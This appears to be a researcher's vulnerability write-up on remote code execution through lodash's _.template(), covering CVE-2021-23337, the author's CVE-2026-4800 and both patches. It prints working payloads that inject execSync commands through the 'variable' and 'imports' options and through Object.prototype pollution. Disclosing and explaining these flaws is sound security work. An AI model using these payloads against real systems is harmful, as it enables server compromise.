Introduction
After a long time not writing anything due to being busy on studying, working and CTFs ૮(˶ㅠ︿ㅠ)ა , so I decided to write an analysis of my latest CVE finding: CVE-2026-4800

Target analysis
What is lodash ?
First things first, we need to know about our target: lodash.
From the documentation https://lodash.com/docs, we can see that lodash does a lot of things:
- Array and collection operations (map, filter, groupBy, reduce)
- Object manipulation (get, set, merge, cloneDeep)
- Function helpers (debounce, throttle, curry, memoize)
- String processing and templating (camelCase, trim, _.template)
-> a really useful library for developers, downloaded ~150M times per week on npm: https://www.npmjs.com/package/lodash
String templating
Also from the documentation, there is one interesting function called _.template() that compiles a template string into a function which can interpolate data properties

With normal text it just passes the string through. But with "interpolate" delimiters <%= ... %> or "evaluate" delimiters <% ... %>, it injects the variable into the placeholder
For example, we can use it like:
const _ = require('lodash')
console.log(_.template('hello <%= user %>')({'user':'winky'}))
console.log(_.template(`hello <% if (user === 'winky') { print('admin') } else { print('user') } %>`)({'user':'winky'}))

Yes, this is simple and normal, right ? But why is it marked as insecure ?
Is it vulnerable ?
The point here is that the template body is compiled into JavaScript and runs on the server. So we can craft a malicious template that touches the global object:
_.template('hello <%= global %>')({'user':'winky'})

-> get the getBuiltinModule function:
_.template('hello <%= global.process.getBuiltinModule %>')({'user':'winky'})

-> RCE:
_.template("hello <%= global.process.getBuiltinModule('child_process').execSync('curl https://example.com') %>")({'user':'winky'})

It already feels insecure, but it’s not actually a vulnerability yet, because the template string is assumed to be trusted input not something an attacker controls
So in real life, where does the bug come from ?
Security history
CVE-2021-23337
After looking at lodash’s CVE history, I found this old one CVE-2021-23337 that is also related to the template function

To summarize: in lodash before version 4.17.21, when an attacker controls the variable option of _.template(), RCE happens. And the easiest way to control that option is through prototype pollution
variable option
The variable option is intended to define the name of the data object used inside the template:
_.template('hello <%= data.user %>', { variable: 'data' })({user:'winky'})

But if we can control the variable option, we can inject malicious patterns:
_.template('', { variable: "){global.process.getBuiltinModule('child_process').execSync('curl https://example.com')}; with(obj" })()
-> RCE

Prototype pollution
A common way to exploit this is through prototype pollution. If an attacker can pollute Object.prototype, they can inject a malicious variable property:
Object.prototype.variable = "){global.process.getBuiltinModule('child_process').execSync('curl https://example.com')}; with(obj"
Then any later call like:
_.template('', {})()
results in code execution:

Some debugging
Okay, how does this CVE actually happen ? Let’s debug with this payload:
_.template('hello <%= user %>', { variable: "){global.process.getBuiltinModule('child_process').execSync('curl https://example.com')}; with(obj" })({ user: 'winky'})
When we call template(), it first prepares the options/settings:
function template(string, options, guard) {
...
var settings = lodash.templateSettings;
if (guard && isIterateeCall(string, options, guard)) {
options = undefined;
}
string = toString(string);
options = assignInWith({}, options, settings, customDefaultsAssignIn);
var imports = assignInWith({}, options.imports, settings.imports, customDefaultsAssignIn),
importsKeys = keys(imports),
importsValues = baseValues(imports, importsKeys);
...

The default delimiters look like this:

The variable is read from options using hasOwnProperty.call, which means it does NOT walk the prototype chain:
var variable = hasOwnProperty.call(options, 'variable') && options.variable;
if (!variable) {
source = 'with (obj) {\n' + source + '\n}\n';
}

The variable is then concatenated into the source of the compiled function:
source = 'function(' + (variable || 'obj') + ') {\n' +
(variable
? ''
: 'obj || (obj = {});\n'
) +
"var __t, __p = ''" +
(isEscaping
? ', __e = _.escape'
: ''
) +
(isEvaluating
? ', __j = Array.prototype.join;\n' +
"function print() { __p += __j.call(arguments, '') }\n"
: ';\n'
) +
source +
'return __p\n}';

-> with a normal call like _.template('hello <%= user %>')({'user':'winky'}), the compiled source is:
function(obj) {obj || (obj = {});var __t, __p = '';with (obj) {__p += 'hello ' +((__t = ( user )) == null ? '' : __t);}return __p}
But with the malicious variable option from above, the source becomes:
function(){global.process.getBuiltinModule('child_process').execSync('curl https://example.com')}; with(obj) {var __t, __p = '';__p += 'hello ' +((__t = ( user )) == null ? '' : __t);return __p}
And finally, this whole string is turned into a real function by Function():
var result = attempt(function() {
return Function(importsKeys, sourceURL + 'return ' + source)
.apply(undefined, importsValues);
});

-> when this result function executes, RCE.
How prototype pollution works ?
We saw that variable is read via hasOwnProperty.call(options, 'variable'), so polluting Object.prototype.variable shouldn’t pass that check directly:

variable is still empty -> we can’t pass the if (!variable) check by polluting it directly. But notice this line earlier:
options = assignInWith({}, options, settings, customDefaultsAssignIn);
And assignInWith is defined as:
var assignInWith = createAssigner(function(object, source, srcIndex, customizer) {
copyObject(source, keysIn(source), object, customizer);
});
It uses keysIn on the source:
function keysIn(object) {
return isArrayLike(object) ? arrayLikeKeys(object, true) : baseKeysIn(object);
}

And baseKeysIn:
function baseKeysIn(object) {
if (!isObject(object)) {
return nativeKeysIn(object);
}
var isProto = isPrototype(object),
result = [];
for (var key in object) {
if (!(key == 'constructor' && (isProto || !hasOwnProperty.call(object, key)))) {
result.push(key);
}
}
return result;
}
We can clearly see it uses a for...in loop. Quick test to confirm the behaviour:
a = {}
for (var key in a){ console.log(key) }
Object.prototype.b = 1
for (var key in a){ console.log(key) }

This matches the reference here: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Enumerability_and_ownership_of_properties
-> a for...in loop sees inherited properties, so polluted Object.prototype keys end up in our enumeration.

-> options.variable is now an own property and passes the if check.

As we can see, the result has the variable key as an own property even though we passed an empty {} as options
Patch
Okay, now we know how the CVE happens. How did they fix it ?
https://github.com/lodash/lodash/commit/3469357cff396a26c363f8c1b5a91dde28ba4b1c
They added a check:
var reForbiddenIdentifierChars = /[()=,{}\[\]\/\s]/;
...
else if (reForbiddenIdentifierChars.test(variable)) {
throw new Error(INVALID_TEMPL_VAR_ERROR_TEXT);
}
So they basically banned the symbols we need to break out of the parameter list and inject code: (, ), }, etc.
-> Seems safe now.
New exploit (CVE-2026-4800)
importsKeys
With the same idea as the old CVE, I wondered: is there any other place we can inject code ?
Going back to the imports preparation, in version 4.17.23 (after the patch) we can see it still uses assignInWith and reads the imports key from options:
options = assignInWith({}, options, settings, customDefaultsAssignIn);
var imports = assignInWith({}, options.imports, settings.imports, customDefaultsAssignIn),
importsKeys = keys(imports),
importsValues = baseValues(imports, importsKeys);
So if we do something like _.template('', {'imports':{'abc':'def'}}):

-> we control both imports and importsKeys.
Function() constructor
This is one of JavaScript’s built-in constructors: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/Function
We can use it like:
Function("a", "b", "return a+b")(1,2)
-> which is equivalent to:
foo = function(a, b){ return a+b }
foo(1, 2)

Now what’s interesting: if we inject a default value into the parameter:
Function('a=process.getBuiltinModule("child_process").execSync("curl https://example.com")', "b", "return a+b")(1,2)

Nothing happens, right ? Since a is not undefined, JavaScript does not evaluate the default value. But with a small change:
Function('a=process.getBuiltinModule("child_process").execSync("curl https://example.com")', "b", "return a+b")(undefined,2)

Now the first argument is undefined, so JavaScript evaluates the default parameter expression:
foo = function(a=process.getBuiltinModule("child_process").execSync("curl https://example.com"), b){ return a+b }
foo(undefined, 2)
This is a very interesting behaviour of the Function() constructor. The reason it works is that Function() does not validate each parameter string as a clean identifier
Final exploit
Okay now, look at this again:
var result = attempt(function() {
return Function(importsKeys, sourceURL + 'return ' + source)
.apply(undefined, importsValues);
});
The default imports is { '_': lodash }, which is why inside any template you can reference _ and it points at lodash itself

By default, the source compiles to something like:
foo = function(_){
//# sourceURL=lodash.templateSources[0]
return function(obj) {obj || (obj = {});var __t, __p = '';with (obj) {__p += 'hello ' +((__t = ( user )) == null ? '' : __t);}return __p}
}
foo(lodash)
But we control importsKeys and importsValues, right ? And Function() is the sink. So we can use this payload:
_.template('', {'imports':{'x=process.getBuiltinModule("child_process").execSync("curl https://example.com")':undefined}})
Now it compiles to:
foo = function(x=process.getBuiltinModule("child_process").execSync("curl https://example.com"), _){
return function(obj) {obj || (obj = {});var __t, __p = '';with (obj) {__p += '';}return __p}
}
foo(undefined, lodash)

And BOOOOMM !!!

That is how I get RCE (੭˃ᴗ˂)੭
Prototype pollution
That’s not all. We can also observe that assignInWith is still being used here:
options = assignInWith({}, options, settings, customDefaultsAssignIn);
So we can use Object.prototype.imports to pollute the imports key of options
POC:
Object.prototype.imports = {'x=process.getBuiltinModule("child_process").execSync("curl https://example.com")':undefined}
_.template('', {})

After the loop, options already has the imports key as an own property:

Note that we don’t even need () to execute the compiled template function — the vulnerability happens before rendering, inside the Function() constructor

Patch
In the patch for version 4.18.0:
https://github.com/lodash/lodash/commit/879aaa93132d78c2f8d20c60279da9f8b21576d6
They switched from assignInWith to assignWith, which uses a safer key enumeration:
function baseKeys(object) {
if (!isPrototype(object)) {
return nativeKeys(object);
}
var result = [];
for (var key in Object(object)) {
if (hasOwnProperty.call(object, key) && key != 'constructor') {
result.push(key);
}
}
return result;
}
Now keys are verified with hasOwnProperty.call to prevent prototype pollution. On top of that, they also added a checker that validates importsKeys against the same forbidden-character regex as variable:
arrayEach(importsKeys, function(key) {
if (reForbiddenIdentifierChars.test(key)) {
throw new Error(INVALID_TEMPL_IMPORTS_ERROR_TEXT);
}
});
So they fixed it on two layers: own-key enumeration and parameter validation
References
- https://nvd.nist.gov/vuln/detail/CVE-2026-4800
- https://github.com/advisories/GHSA-r5fr-rjxr-66jc
- https://github.com/advisories/GHSA-35jh-r3h4-6jhm
- https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/Function
- https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution
- https://github.com/threalwinky/CVE-2026-4800-POC


